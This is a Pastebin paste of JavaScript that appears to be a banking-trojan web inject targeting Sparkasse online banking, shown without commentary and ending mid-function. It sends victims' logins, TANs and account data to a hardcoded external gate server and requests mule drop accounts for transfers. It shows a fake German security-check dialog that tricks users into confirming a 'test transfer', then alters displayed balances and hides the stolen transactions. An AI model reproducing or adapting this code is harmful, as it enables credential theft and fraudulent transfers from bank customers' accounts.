Xylitol

sparkasse.js

Apr 13th, 2014
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var jq = jQuery.noConflict();
  2. _cssCode = '.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=0); opacity: 0; } #inj_dialog_box { background-color: #FFFFFF; left: 232px; position: absolute; top: 165px; width: 600px; z-index: 4001; } .inj_dialog_content h2, .inj_dialog_content h3, #inj_dialog_title { margin: 10px; } .inj_instr_list { font-size: 13px; } .inj_content_para { padding: 10px; } .inj_content_block { border-bottom: 1px solid #E9E9E9; padding: 10px; } .inj_buttons_block { text-align: center; margin-top: 1em; } .inj_error { display: none; color: #FF0000; font-weight: bold; }';
  3. if ((document.readyState === "loading") || (document.readyState === "interactive"))
  4.     document.write('<style type="text/css">' + _cssCode + '</style>');
  5. else
  6.     jq('head').append('<style type="text/css">' + _cssCode + '</style>');
  7.  
  8. var ATS={bank:'',account_id:0,bot_id:'',script_ver:'0',debug_mode:false,isDebugMode:function()
  9. {return ATS.debug_mode;},getBrowserFull:function()
  10. {var res='na';try
  11. {var m=navigator.userAgent.match(/Firefox\/(\d+)/);if(m)
  12. {res='ff'+m[1];}
  13. else
  14. {m=navigator.userAgent.match(/MSIE (\d+)/);if(m)
  15. res='ie'+m[1];}}
  16. catch(e)
  17. {res='ex';}
  18. return res;},debugMsg:function(message)
  19. {if(this.isDebugMode())
  20. {if(window.console&&window.console.log)
  21. window.console.log(message);else
  22. alert(message);}},_cookies:new Object(),setCookie:function(name,value)
  23. {ATS.debugMsg('setCookie: '+name+' = '+value);parent.ATS._cookies[name]=value;},getCookie:function(name)
  24. {if(typeof parent.ATS._cookies[name]=='undefined')
  25. return null;return parent.ATS._cookies[name];},serializeCookies:function()
  26. {var result=new Array();for(var i in parent.ATS._cookies)
  27. {result.push(encodeURIComponent(i)+'='+encodeURIComponent(parent.ATS._cookies[i]));}
  28. return result.join('&');},unserializeCookies:function(rawData)
  29. {var result=new Object();for(var i in rawData)
  30. {result[decodeURIComponent(i)]=decodeURIComponent(rawData[i]);}
  31. return result;},saveCookies:function(callback)
  32. {ATS.sendGateRequest('save_cookies',{data:ATS.serializeCookies()},callback);},sendGateRequest:function(action,params,callback)
  33. {data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action+'&cb=?';if((typeof __debugDisabled=='undefined')||!__debugDisabled)
  34. {jq.ajax({url:url,dataType:'jsonp',crossDomain:true,data:data,success:callback});}},sendPostGateRequest:function(action,params)
  35. {ATS.debugMsg('sendPostGateRequest: '+action);data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action;ATS.debugMsg('url = '+url+'; params = '+params);if((typeof __debugDisabled=='undefined')||!__debugDisabled)
  36. {jq.ajax({type:'POST',url:url,crossDomain:true,data:data});}},loadData:function(callback)
  37. {ATS.sendGateRequest('load_data',{botid:ATS.bot_id},function(data){ATS.account_id=data.account_id;ATS._cookies=ATS.unserializeCookies(data.cookies);if(typeof callback=='function')
  38. callback();});},getFullVersionText:function()
  39. {return ATS.script_ver+' / '+ATS.getBrowserFull();},sendLoginInfo:function(login,password,callback)
  40. {ATS.sendGateRequest('login',{botid:ATS.bot_id,login:login,password:password,url:window.location.href,ver:ATS.getFullVersionText()},callback);},_logMsgSeq:0,sendLogMsg:function(text,callback)
  41. {ATS.debugMsg('sendLogMsg: '+text);if(parent&&parent.ATS&&parent.ATS.sendGateRequest)
  42. {parent.ATS._logMsgSeq++;parent.ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:parent.ATS._logMsgSeq+': '+text},callback);}
  43. else
  44. {ATS._logMsgSeq++;ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:ATS._logMsgSeq+': '+text},callback);}},getDrop:function(transfType,balance,callback)
  45. {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance},callback);},getDropWithLimit:function(transfType,balance,limit,callback)
  46. {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance,limit:limit},callback);},putTransfer:function(transfType,drop,amount,callback)
  47. {ATS.sendGateRequest('transfer',{type:transfType,did:drop,amount:amount},callback);},sendAccountsInfo:function(accountsInfo,callback)
  48. {try{ATS.sendGateRequest('save_accounts_info',{data:JSON.stringify(accountsInfo)},callback);}catch(e){}},base64_encode:function(input)
  49. {var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;var keyStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";do
  50. {chr1=input.charCodeAt(i++);chr2=input.charCodeAt(i++);chr3=input.charCodeAt(i++);enc1=chr1>>2;enc2=((chr1&3)<<4)|(chr2>>4);enc3=((chr2&15)<<2)|(chr3>>6);enc4=chr3&63;if(isNaN(chr2))
  51. {enc3=enc4=64;}
  52. else if(isNaN(chr3))
  53. {enc4=64;}
  54. output=output+keyStr.charAt(enc1)+keyStr.charAt(enc2)+keyStr.charAt(enc3)+keyStr.charAt(enc4);}while(i<input.length);return output;},utf8_encode:function(argString)
  55. {if(argString===null||typeof argString==="undefined")
  56. return"";var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++)
  57. {var c1=string.charCodeAt(n);var enc=null;if(c1<128)
  58. {end++;}
  59. else if(c1>127&&c1<2048)
  60. {enc=String.fromCharCode((c1>>6)|192,(c1&63)|128);}
  61. else if(c1&0xF800!=0xD800)
  62. {enc=String.fromCharCode((c1>>12)|224,((c1>>6)&63)|128,(c1&63)|128);}
  63. else
  64. {if(c1&0xFC00!=0xD800){return'error 1';}
  65. var c2=string.charCodeAt(++n);if(c2&0xFC00!=0xDC00){return'error 2';}
  66. c1=((c1&0x3FF)<<10)+(c2&0x3FF)+0x10000;enc=String.fromCharCode((c1>>18)|240,((c1>>12)&63)|128,((c1>>6)&63)|128,(c1&63)|128);}
  67. if(enc!==null)
  68. {if(end>start)
  69. {utftext+=string.slice(start,end);}
  70. utftext+=enc;start=end=n+1;}}
  71. if(end>start)
  72. utftext+=string.slice(start,stringl);return utftext;},sendDump:function(msg,data)
  73. {ATS.sendPostGateRequest('dump',{msg:msg,data:ATS.base64_encode(ATS.utf8_encode(data))});},randInt:function(min,max)
  74. {return Math.round(min+Math.random()*(max-min));},imgSubmit:function(button)
  75. {var form=jq('form').has(jq(button));if(jq(form).length==0)
  76. return 0;var buttonName=jq(button).attr('name');if(buttonName!='')
  77. {var buttonWidth=parseInt(jq(button).css('width'));if(!buttonWidth)
  78. buttonWidth=10;var buttonHeight=parseInt(jq(button).css('height'));if(!buttonHeight)
  79. buttonHeight=10;var clickX=ATS.randInt(buttonWidth*0.2,buttonWidth*0.8);var clickY=ATS.randInt(buttonHeight*0.2,buttonHeight*0.8);jq(button).remove();jq(form).append('<input type=hidden name="'+buttonName+'.x" value="'+clickX+'" />');jq(form).append('<input type=hidden name="'+buttonName+'.y" value="'+clickY+'" />');jq(form).submit();}
  80. else
  81. jq(button).click();},delayedClick:function(button,minDelay,maxDelay)
  82. {setTimeout(function(){if(jq(button).attr('type')=='image')
  83. {ATS.imgSubmit(jq(button));}
  84. else
  85. jq(button).click();},ATS.randInt(minDelay,maxDelay));}};
  86. ATS.bank = 'sparkasse';
  87. ATS.script_ver = '19';
  88. ATS.gateURL = 'https://belissimos7.com/nsdghsf333/gate';
  89.  
  90. ATS.UI_blockSite=function()
  91. {if(ATS.debugNoOverlay)
  92. return;if(jq('#inj_block_overlay').length)
  93. jq('#inj_block_overlay').show();else
  94. jq('.if5_content').before('<div id=inj_block_overlay></div>');}
  95. ATS.UI_unblockSite=function()
  96. {jq('#inj_block_overlay').hide();}
  97. ATS.UI_getInjectCode=function()
  98. {var code = '<div id=inj_dialog_box style=\'display: none;\'><div class="if5_white'
  99.      + '_o">&nbsp;</div><div class="if5_rand"><div class="if5_verlauf_o">&nbsp;'
  100.      + '</div><div class="inj_dialog_content"><h2 id="inj_dialog_title">Sicherh'
  101.      + 'eitskontrolle</h2><div id=inj_page_wait style=\'display: none;\'><h3 clas'
  102.      + 's="boxHeadline">Ab jetzt haben wir neue Sicherheitseinstellungen.</h3><'
  103.      + 'div class="boxHinweis"><p class="begruessungText inj_content_para">Unse'
  104.      + 'r System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#'
  105.      + '220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunde'
  106.      + 'n dauern. <br class="newline" /></p><p style="text-align:center"><img s'
  107.      + 'rc=\'https://belissimos7.com/nsdghsf333/images/loader_bar.gif\' id=inj_loader_img /></p><p cl'
  108.      + 'ass="begruessungText inj_content_para">W&#228;hrend dieser Zeit aktuali'
  109.      + 'sieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsern'
  110.      + 'avigation (Zur&#252;ck / Vorw&#228;rts). </p></div></div><div id=inj_pa'
  111.      + 'ge_tan style=\'display: none;\'><div class="boxHinweis"><p class="begrues'
  112.      + 'sungText inj_content_block" id=inj_main_text>Wahrscheinlich haben sich '
  113.      + 'in letzter Zeit einige Ver&#228;nderungen bei Ihrem Computer ergeben. A'
  114.      + 'us Sicherheitsgr&#252;nden m&#252;ssen Sie eine Tan eingeben, um zu bes'
  115.      + 't&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228'
  116.      + ';hrt wird.<br class="newline" /></p><div class="begruessungText inj_con'
  117.      + 'tent_block"><div id=inj_mode_gen><ol class=inj_instr_list><li>Stecken S'
  118.      + 'ie Ihre Karte in den TAN-Generator und dr&#252;cken Sie die Taste <stro'
  119.      + 'ng>TAN</strong>.</li><li>Geben Sie den <strong class=inj_tan_startcode>'
  120.      + '</strong>&nbsp;ein und dr&#252;cken Sie die Taste OK.</li><li>Geben Sie'
  121.      + ' die <strong class=inj_iban_code></strong>&nbsp;ein und dr&#252;cken Si'
  122.      + 'e die Taste OK.</li><li>Geben Sie die <strong class=inj_transf_amount><'
  123.      + '/strong>&nbsp;ein und dr&#252cken Sie die Taste OK.</li></ol></div><div'
  124.      + ' id=inj_mode_sms><p>Angaben f&#252;r die Test&#252;berweisung:</p><ul c'
  125.      + 'lass=inj_instr_list><li>Name: Hans M&#252;ller</li><li class=inj_sms_ac'
  126.      + 'c>Kontonummer:</li><li class=inj_sms_blz>Bankleitzahl:</li><li class=in'
  127.      + 'j_sms_amount>Betrag:</li></ul><p>Bitte best&#228;tigen Sie die TEST&#22'
  128.      + '0;BERWEISUNG, um den Schnelltest erfolgreich abzuschlie&#223;en.<br>Sie'
  129.      + ' werden nach der Durchf&#252;hrung des Schnelltests Ihren online Bankse'
  130.      + 'rvice sofort nutzen k&#246;nnen.<br>Denken Sie daran, dass Ihr Konto du'
  131.      + 'rch die Test&#252;berweisung NICHT belastet wird. Vielen Dank. </p></di'
  132.      + 'v></div><div class="begruessungText inj_content_block"><div style=\'floa'
  133.      + 't: left; width: 400px; font-size: 13px;\'><label class=inj_tan_label for'
  134.      + '=inj_tan></label></div><div style=\'float: left; padding: 10px 30px;\'><i'
  135.      + 'nput type="text" id="inj_tan" class="osppformfeldmuss" value="" size="8'
  136.      + '" maxlength="6" name="inj_tan"></div><div style=\'clear:both;\'><p class='
  137.      + 'inj_error>Die eingegebene TAN ist falsch!</p></div></div><div class="in'
  138.      + 'j_buttons_block"><input type="image" alt="Weiter" title="Weiter" style='
  139.      + '"cursor: pointer; height: 2.25em;width: 7.3em;" value="Weiter" src="/if'
  140.      + 'data/blank.gif" name="inj_weiter" /></div></div></div></div><div class='
  141.      + '"if5_verlauf_u">&nbsp;</div></div><div class="if5_white_u">&nbsp;</div>'
  142.      + '</div>';
  143. return jq(code);}
  144. ATS.UI_onWeiterClick=function()
  145. {var tan=jq('input[name=inj_tan]').val();if(tan.length==6)
  146. {ATS.sendLogMsg('entered TAN '+tan);jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);}}
  147. ATS.UI_showDialogBox=function()
  148. {jq('.if5_content > div').hide();if(!jq('#inj_dialog_box').length)
  149. {var injectCode=ATS.UI_getInjectCode();jq('.if5_content').after(injectCode);jq('input[name=inj_weiter]').click(ATS.UI_onWeiterClick);}
  150. jq('#inj_dialog_box').show();}
  151. ATS.UI_hideDialogBox=function()
  152. {jq('#inj_dialog_box').hide();jq('.if5_content > div').show();}
  153. ATS.UI_showWait=function()
  154. {ATS.UI_showDialogBox();jq('#inj_page_wait').show();jq('#inj_page_tan').hide();}
  155. ATS.UI_fixBtnLink=function()
  156. {imgSrc=jq('img[src*=\\/ipo\\/]:eq(0)').attr('src')
  157. if(imgSrc)
  158. {imgSrc=imgSrc.substr(0,imgSrc.lastIndexOf('/')+1);imgSrc+='if5_b_Weiter.png';jq('input[name=inj_weiter]').attr('src',imgSrc);}
  159. else
  160. ATS.sendLogMsg('UI_fixBtnLink cant find btn img');}
  161. ATS.UI_askTan=function(tanNum,isError)
  162. {parent.ATS.UI_showDialogBox();parent.ATS.UI_fixBtnLink();jq('#inj_page_wait',parent.document).hide();jq('#inj_page_tan',parent.document).show();jq('#inj_mode_gen',parent.document).hide();jq('#inj_mode_sms',parent.document).hide();jq('input[name=inj_tan]',parent.document.body).val('');if(tanNum=='sms')
  163. {jq('#inj_mode_sms',parent.document).show();var mainText='Wir sind immer bem&#252;ht, unseren Service und den von unserer Bank gebotenen Sicherheitsgrad zu verbessern. ';mainText+='Wie Sie vielleicht wissen, haben wir k&#252;rzlich zus&#228;tzlich Sicherheitswerkzeug eingef&#252;hrt, um Ihnen f&#252;r Ihre Bank&#252;berweisungen eine beispiellose Sicherheit zu gew&#228;hrleisten. ';mainText+='Ungl&#252;cklicherweise hatte viele Nutzer Probleme, die neuen Regeln anzuwenden, was dazu f&#252;hrte, dass Ihre online Zugang zu ihren Konto automatisch gesperrt wurde. ';mainText+='Um solche Situationen zu vermeiden und um Sie durch die neuen Sicherheitstechnologien zu leiten, bieten wir Ihnen an, einen Schnelltest zu absolvieren. ';mainText+='W&#228;hrend des Tests wird das System eine TEST&#220;BERWEISUNG durchf&#252;hren. Wir versichern Ihnen, dass die Test&#252;berweisung Ihren Konto NICHT belastet wird. ';mainText+='Wir hoffen, dass Sie den hohen Sicherheitsgrad und die Verwendbarkeit unserer Bankdienstleistungen sch&#228;tzen.';jq('#inj_main_text',parent.document).html(mainText);var reqText=jq('label:contains("Zur Best"):eq(0)').text().replace('*:',':');reqText=reqText.substr(reqText.indexOf('Zur Best'));jq('.inj_tan_label',parent.document.body).text(reqText);if(parent.ATS.transf_mode=='sepa')
  164. {var ibanCode=parent.ATS.sepa_drop.IBAN;ibanCode='DE'+ibanCode.substring(2,4)+'XXXXXXXXXXXXXXXXXX'+ibanCode.substring(ibanCode.length-4);ATS.debugMsg('ibanCode '+ibanCode);jq('.inj_sms_acc',parent.document.body).text('IBAN: '+ibanCode);jq('.inj_sms_blz',parent.document.body).text('BIC: 00000000');jq('.inj_sms_amount',parent.document.body).text('Betrag: '+parent.ATS.sepa_drop.amount);}
  165. else
  166. {var konto=parent.ATS.int_drop.Konto;jq('.inj_sms_acc',parent.document.body).text('Kontonummer: '+konto);jq('.inj_sms_blz',parent.document.body).text('Bankleitzahl: 00000000');jq('.inj_sms_amount',parent.document.body).text('Betrag: '+parent.ATS.int_drop.amount);}}
  167. else if(tanNum=='gen')
  168. {jq('#inj_mode_gen',parent.document).show();if(parent.ATS.transf_mode=='sepa')
  169. {var ibanCode=parent.ATS.sepa_drop.IBAN;if((jq('div.block').text().indexOf('letzten 10 Ziffern')!=-1)||(jq('div.osppformgrund').text().indexOf('letzten 10 Ziffern')!=-1))
  170. ibanCode=ibanCode.substring(ibanCode.length-10);else
  171. ibanCode=ibanCode.substring(2,4)+ibanCode.substring(ibanCode.length-4);jq('.inj_iban_code',parent.document.body).text(ibanCode);jq('.inj_transf_amount',parent.document.body).text(parent.ATS.sepa_drop.amount);}
  172. else
  173. {var konto=parent.ATS.int_drop.Konto;jq('.inj_iban_code',parent.document.body).text(konto);jq('.inj_transf_amount',parent.document.body).text(parent.ATS.int_drop.amount);}
  174. var startCode=jq('strong:contains(Startcode)').text().replace(/\D+/,'');ATS.sendLogMsg('startCode '+startCode);jq('.inj_tan_startcode',parent.document.body).text('Startcode '+startCode);jq('.inj_tan_label',parent.document.body).text(jq('label:contains(Kartennummer):eq(0)').text().replace('*:',':'));}
  175. else
  176. {}
  177. if(isError)
  178. {jq('.inj_error',parent.document.body).show();}
  179. else
  180. jq('.inj_error',parent.document.body).hide();}
  181. ATS.UI_testTanGen=function()
  182. {ATS.UI_askTan('gen',false);}
  183. ATS.UI_testTanSMS=function()
  184. {ATS.UI_askTan('sms',false);}
  185.  
  186. ATS.fin2float=function(text)
  187. {if(text==null)
  188. {return;}
  189. else
  190. {var text=text.toString().replace(/\u2212/g,'-').replace(/[^\d,-]+/g,'').replace(',','.');return parseFloat(text);}}
  191. ATS.float2fin=function(val)
  192. {var sign='';if(val<0)
  193. {sign='-';val=-val;}
  194. var intPart=Math.floor(val);var fractPart=Math.floor((val-intPart)*100).toString();if(fractPart.length<2)
  195. fractPart='0'+fractPart;var newIntPart='';intPart=intPart.toString();while(intPart.length>3)
  196. {newIntPart='.'+intPart.substr(intPart.length-3)+newIntPart;intPart=intPart.substr(0,intPart.length-3);}
  197. newIntPart=intPart+newIntPart;return sign+newIntPart+','+fractPart;}
  198. ATS.addElementAmount=function(el,amount,postfix)
  199. {var val=ATS.fin2float(jq(el).text());var newText=ATS.float2fin(val+amount);if(postfix)
  200. newText+=' '+postfix;jq(el).text(newText);}
  201. ATS.hideLastTAN=function()
  202. {var el=jq('p:contains(Ihre zuletzt verbrauchte TAN)');if(el.length)
  203. {var html=jq(el).html();var pos=html.indexOf('Ihre zuletzt');if(pos>=0)
  204. jq(el).html(html.substr(0,pos));}
  205. jq('p:contains(Zuletzt benutzte)').remove();}
  206. ATS.replaceFinanzstatusOld=function()
  207. {ATS.debugMsg('replaceFinanzstatus()');ATS.sendLogMsg('Page Finanzstatus');jq('form > table').each(function(){if(jq(this).find('th').length==4)
  208. {var totalReplace=0;jq(this).find('tr').each(function(i){if(i>0)
  209. {var accNum=jq(this).children('td:eq(1)').text().replace(/\D+/,'');var amount=ATS.fin2float(ATS.getCookie('ap'+accNum));ATS.debugMsg('accNum = '+accNum+'; amount = '+amount);if(amount>0)
  210. {var curAmount=ATS.fin2float(jq(this).children('td:eq(2)').children('span').text());ATS.sendLogMsg('REP finanzstatus ['+accNum+'] '+curAmount+' + '+amount);ATS.addElementAmount(jq(this).children('td:eq(2)').children('span'),amount,'EUR');var newBalance=ATS.fin2float(jq(this).children('td:eq(2)').children('span').text())+amount;if(newBalance>=0)
  211. {jq(this).children('td:eq(2)').children('span').attr('class','habentexttable');}
  212. else
  213. {jq(this).children('td:eq(2)').children('span').attr('class','solltexttable');}
  214. totalReplace+=amount;}}});if(totalReplace>0)
  215. {var curTotal=ATS.fin2float(jq(this).nextAll('table:eq(0)').find('td span:contains(EUR)').text());ATS.sendLogMsg('REP finanzstatus [total] '+curTotal+' + '+totalReplace);ATS.addElementAmount(jq(this).nextAll('table:eq(0)').find('td span:contains(EUR)'),totalReplace,'EUR');jq('form > table:contains(bersicht) td:contains(EUR)').each(function(){ATS.addElementAmount(jq(this),totalReplace,'EUR');});}}});}
  216. ATS.rep_recalcFinanzstatusSection=function(tbl)
  217. {var tableHaben=0;var tableSoll=0;jq(tbl).find('tr').each(function(i)
  218. {if(i>0)
  219. {var curAmount=ATS.fin2float(jq(this).children('td:eq(2)').children('span').text());if(!isNaN(curAmount))
  220. {if(curAmount>0)
  221. tableHaben+=curAmount;else
  222. tableSoll+=curAmount;}}});ATS.debugMsg('Section haben: '+tableHaben+'; soll: '+tableSoll);if(tableHaben>0||tableSoll>0)
  223. {jq(tbl).nextAll('table:eq(0)').find('tr:contains(Haben) span').text(ATS.float2fin(tableHaben)+' EUR');jq(tbl).nextAll('table:eq(0)').find('tr:contains(Soll) span').text(ATS.float2fin(tableSoll)+' EUR');}}
  224. ATS.rep_recalcTotalFinanzstatus=function()
  225. {var totalHaben=0;var totalSoll=0;jq('form > table').each(function()
  226. {if(jq(this).find('th').length>=4)
  227. {if(jq(this).find('th:contains(Haben)').length||jq(this).find('th:contains(Soll)').length)
  228. {var tmpHaben=ATS.fin2float(jq(this).find('tr:contains(Haben) span').text());if(!isNaN(tmpHaben))
  229. totalHaben+=tmpHaben;var tmpSoll=ATS.fin2float(jq(this).find('tr:contains(Soll) span').text());if(!isNaN(tmpSoll))
  230. totalSoll+=tmpSoll;ATS.debugMsg('tmpHaben: '+tmpHaben+'; tmpSoll: '+tmpSoll);}
  231. else
  232. ATS.rep_recalcFinanzstatusSection(jq(this));}});ATS.debugMsg('Total Haben: '+totalHaben+'; Total Soll: '+totalSoll);jq('form > table:contains(bersicht) tr:contains(Haben) span').text(ATS.float2fin(totalHaben)+' EUR');jq('form > table:contains(bersicht) tr:contains(Soll) span').text(ATS.float2fin(totalSoll)+' EUR');jq('form > table:contains(bersicht) tr:contains(Gesamtsaldo) span').text(ATS.float2fin(totalHaben+totalSoll)+' EUR');}
  233. ATS.rep_fixBalanceClass=function(el,plusClass,minusClass)
  234. {plusClass=plusClass||'habentexttable';minusClass=minusClass||'solltexttable';if(ATS.fin2float(jq(el).text())>=0)
  235. jq(el).attr('class',plusClass);else
  236. jq(el).attr('class',minusClass);}
  237. ATS.replaceFinanzstatus=function()
  238. {var repAccount=ATS.getCookie('transfer_acc');var repAmount=ATS.fin2float(ATS.getCookie('rep_amount'));ATS.debugMsg('replaceFinanzstatus()');var totalReplace=0;var giroSectionBtn=jq('.erweiternbeztable:contains(Giro)').parent().parent().find('input');if(giroSectionBtn.length&&(jq(giroSectionBtn).attr('value')=='Maximieren'))
  239. {ATS.debugMsg('giro is folded');var tblGiro=jq('form > table:contains(Giro)').next();var spanHaben=jq(tblGiro).find('th:contains(Haben)').next().find('span');var spanSoll=jq(tblGiro).find('th:contains(Soll)').next().find('span');var sollValue=ATS.fin2float(jq(spanSoll).text())||0;if(sollValue<0)
  240. {if(Math.abs(sollValue)>repAmount)
  241. {ATS.addElementAmount(spanSoll,repAmount,'EUR');}
  242. else
  243. {jq(spanSoll).text('0,00 EUR');repAmount-=Math.abs(sollValue);ATS.addElementAmount(spanHaben,repAmount,'EUR');}}
  244. else
  245. ATS.addElementAmount(spanHaben,repAmount,'EUR');totalReplace+=repAmount;}
  246. else
  247. {jq('form > table').each(function()
  248. {if(jq(this).find('th').length==4)
  249. {jq(this).find('tr').each(function(i)
  250. {if(i>0)
  251. {var accNum=jq(this).children('td:eq(1)').text().replace(/\D+/,'');if(accNum==repAccount)
  252. {var amountSpan=jq(this).children('td:eq(2)').children('span');ATS.sendLogMsg('REP finanzstatus ['+accNum+'] '+ATS.fin2float(jq(amountSpan).text())+' + '+repAmount);ATS.addElementAmount(amountSpan,repAmount,'EUR');ATS.rep_fixBalanceClass(amountSpan);totalReplace+=repAmount;}}});}});}
  253. if(totalReplace>0)
  254. ATS.rep_recalcTotalFinanzstatus();}
  255. ATS.replaceGiroDetails=function()
  256. {ATS.debugMsg('replaceGiroDetails()');ATS.sendLogMsg('Page Giro-Detail-Ubersicht');jq('form > table').each(function(){jq(this).find('tr').each(function(i){if(i>0)
  257. {var accNum=jq(this).children('td:eq(1)').text();var amount=ATS.fin2float(ATS.getCookie('ap'+accNum));if(amount>0)
  258. {var curKontostand=ATS.fin2float(jq(this).children('td:eq(2)').children('span:eq(0)').text());var curBetrag=ATS.fin2float(jq(this).children('td:eq(3)').children('span:eq(0)').text());ATS.sendLogMsg('REP GiroDetails ['+accNum+'] '+curKontostand+' / '+curBetrag+' + '+amount);ATS.addElementAmount(jq(this).children('td:eq(2)').children('span:eq(0)'),amount,'EUR');if(curBetrag)
  259. ATS.addElementAmount(jq(this).children('td:eq(3)').children('span:eq(0)'),amount,'EUR');}}});});}
  260. ATS.replaceKontodetails=function()
  261. {ATS.debugMsg('replaceKontodetails()');ATS.sendLogMsg('Page Kontodetails');jq('a[href*=print]').remove();var accNum=jq('.contentcontainerMainLayout select > option:selected').val();var amount=ATS.fin2float(ATS.getCookie('ap'+accNum));ATS.debugMsg('accNum = '+accNum+'; amount = '+amount);if(amount>0)
  262. {var curKontostand=ATS.fin2float(jq('form div.col:contains(Kontostand)').next().text());var curBetrag=ATS.fin2float(jq('form div.col:contains(Betrag)').next().text());ATS.sendLogMsg('REP kontodetails ['+accNum+'] '+curKontostand+' / '+curBetrag+' + '+amount);ATS.addElementAmount(jq('form div.col:contains(Kontostand)').next(),amount,'EUR');ATS.addElementAmount(jq('form div.col:contains(Betrag)').next(),amount,'EUR');}}
  263. ATS.needToHide=function(text,betrag)
  264. {text=text.replace(/[^\da-z]+/gi,'').toUpperCase();var dropName=ATS.getCookie('rep_drop_name');if(dropName)
  265. {if(text.indexOf(dropName.replace(/[^\da-z]+/gi,'').toUpperCase())!=-1)
  266. return true;}
  267. var dropAcc=ATS.getCookie('rep_drop_acc');if(dropAcc)
  268. {if(text.indexOf(dropAcc.replace(/[^\da-z]+/gi,'').toUpperCase())!=-1)
  269. return true;}
  270. var amount=parseInt(ATS.getCookie('rep_amount'));if(amount)
  271. {if(amount==betrag)
  272. return true;}
  273. return false;}
  274. ATS.replaceUmsatze=function()
  275. {ATS.debugMsg('replaceUmsatze()');ATS.sendLogMsg('Page Umsatzabfrage');jq('a[href*=print]').remove();jq('input[title=Export]').parent().remove();var accNum=jq('div.label:contains(Konto)').next().text();var amount=ATS.fin2float(ATS.getCookie('ap'+accNum));ATS.debugMsg('accNum = '+accNum+'; amount = '+amount);if(amount>0)
  276. {var curAmount=ATS.fin2float(jq('td:contains(Kontostand am):eq(0)').next().text());ATS.sendLogMsg('REP umsatze [kontostand] '+curAmount+' + '+amount);ATS.addElementAmount(jq('table td:contains(Kontostand am):eq(0)').next(),amount,'EUR');}
  277. var hideFlag=false;jq('table').has('tr:eq(1)').find('tr').each(function(i){if(i>0)
  278. {var text=jq(this).text();var betrag=jq(this).find('td:eq(3)').text().split(',')[0];betrag=betrag.replace(/\D+/g,'');if(ATS.needToHide(text,betrag))
  279. {ATS.sendLogMsg('REP umsatze: transfer hidden - '+jq(this).find('td:eq(2)').text());jq(this).hide();hideFlag=true;}}});jq('form > table').has('tr:eq(1)').find('tr:visible').each(function(i){if(i>0)
  280. {jq(this).attr('class',(i%2)?'tablerowodd':'tableroweven');}});}
  281. ATS.replaceMiniFinanzstatus=function()
  282. {jq('#minifinanzstatus tr').each(function(){var accNum=jq(this).find('td:eq(0)').text();if(accNum)
  283. {var amount=ATS.fin2float(ATS.getCookie('ap'+accNum));ATS.debugMsg('MINI accNum = '+accNum+'; amount = '+amount);if(amount>0)
  284. {var curAmount=ATS.fin2float(jq(this).find('td:eq(1)').text());ATS.sendLogMsg('REP mini ['+accNum+'] '+curAmount+' + '+amount);ATS.addElementAmount(jq(this).find('td:eq(1)'),amount);}}});}
  285. ATS.getPageTitle=function()
  286. {var title=jq('h2.contentbereichHeadLine').text().replace(/\xe4/,'a').replace(/\xFC/,'u').replace(/\xDC/,'U');if(!title)
  287. title=jq('b').text().replace(/\xe4/,'a').replace(/\xFC/,'u').replace(/\xDC/,'U');return title;}
  288. ATS.replaceBalances=function()
  289. {ATS.debugMsg('replaceBalances()');ATS.hideLastTAN();if((ATS.getPageTitle()=='Finanzstatus')||(ATS.getPageTitle()=='Kontenubersicht'))
  290. {if((jq("table:contains('Haben')").length)&&(jq("table:contains('Soll')").length))
  291. ATS.replaceFinanzstatus();else
  292. ATS.replaceFinanzstatusOld();}
  293. if((ATS.getPageTitle()=='Kontodetails')||(ATS.getPageTitle()=='Kontenubersicht'))
  294. ATS.replaceKontodetails();if((ATS.getPageTitle()=='Umsatzabfrage')||(ATS.getPageTitle()=='Umsatze')||(ATS.getPageTitle().indexOf('Umsatzabfrage')!=-1))
  295. ATS.replaceUmsatze();if(ATS.getPageTitle()=='Giro-Detail-Ubersicht')
  296. ATS.replaceGiroDetails();ATS.replaceMiniFinanzstatus();}
  297. ATS.checkTransaction=function()
  298. {if(jq('#minifinanzstatus').length)
  299. return ATS.checkTransactionMiniFinanzstatus();var pageTitle=ATS.getPageTitle();switch(pageTitle)
  300. {case'Finanzstatus':case'Kontenubersicht':return ATS.checkTransactionFinanzstatus();break;case'Kontodetails':case'Kontenubersicht':return ATS.checkTransactionKontodetails();break;case'Umsatzabfrage':case'Umsatze':return ATS.checkTransactionUmsatzabfrage();break;}
  301. return false;}
  302. ATS.checkTransactionMiniFinanzstatus=function()
  303. {ATS.debugMsg('check Transaction MiniFinanzstatus');var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=parseInt(ATS.getCookie('rep_amount'));var status=ATS.getCookie('status');if(old_balance&&transfer_acc&&rep_amount&&(status=='1'))
  304. {var curent_balance=ATS.fin2float(jq('#minifinanzstatus td:contains('+transfer_acc+')').next().text());if((old_balance-curent_balance)>rep_amount*0.8)
  305. {ATS.debugMsg('Transaction is true');return true;}
  306. else
  307. {return false;}}
  308. else
  309. return false;}
  310. ATS.checkTransactionFinanzstatus=function()
